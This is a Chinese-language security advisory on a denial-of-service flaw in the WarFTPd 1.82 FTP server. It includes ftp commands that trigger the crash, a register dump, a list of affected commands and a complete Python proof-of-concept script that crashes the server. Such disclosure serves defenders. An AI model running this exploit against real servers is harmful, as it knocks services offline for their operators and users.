发布日期：2006-11-07
更新日期：2006-11-09

受影响系统：

Jgaa WarFTPd 1.82.00-RC11

描述：

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BUGTRAQ  ID: 20944

War FTP Daemon是32位Windows平台上的FTP服务器。

WarFTPd在处理多个命令的畸形参数时存在漏洞，远程攻击者可能利用此漏洞对服务器造成拒绝服务。

如果向各种命令发送了包含有两次“%s”字符的超长字符串的话，就会导致WarFTPd拒绝服务。例如，发送以下命令：
    
$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256

或者：

ftp> cdup %s*256

就会导致服务器崩溃：
    
EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(...more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540

00431540   8A08             MOV CL,BYTE PTR DS:[EAX]

目前已知至少以下命令受这个漏洞影响：
    
    CWD
    CDUP
    DELE
    NLST
    LIST
    SIZE

<*来源：Joxean Koret （joxeankoret@yahoo.es）
  
  链接：http://secunia.com/advisories/22755/
        http://marc.theaimsgroup.com/?l=bugtraq&m=116293773809548&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/env python

import sys
import ftplib

print "WAR_FTPD Remote Denial Of Service (DOS)"
print "Copyright (c) Joxean Koret"
print

target = "192.168.1.13"
targetPort = "21"

try:
    ftp = ftplib.FTP()

    print "[+] Connecting to target "
    msg = ftp.connect(target, targetPort)
    print "[+] Ok. Target banner"
    print msg
    print
    print "[+] Trying to logging anonymously"
    msg = ftp.login() # Anonymous
    print "[+] Ok. Message"
    print msg
    print
except:
    print "[!] Exploit doesn't work. " + str(sys.exc_info()[1])
    sys.exit(0)

a = "%s%s"
"""
for i in range(0):
    a += a
"""
b = "AAAA"

for i in range(6):
    b += b

a = a + b

print "[+] Exploiting with a buffer of " + str(len(a)) + " byte(s) ... "

try:
    ftp.cwd(a)
except:
    print "[+] Exploit apparently works. Trying to verify it ... "

    try:
        ftp.connect(target, targetPort)
        print "[!] No, it doesn't work [" + str(sys.exc_info()[1]) + "] :("
    except:
        print "[!] Ok. Server is dead, exploit successfully executed. "

建议：

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厂商补丁：

Jgaa
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://support.jgaa.com/index.php?MenuPage=frontpage

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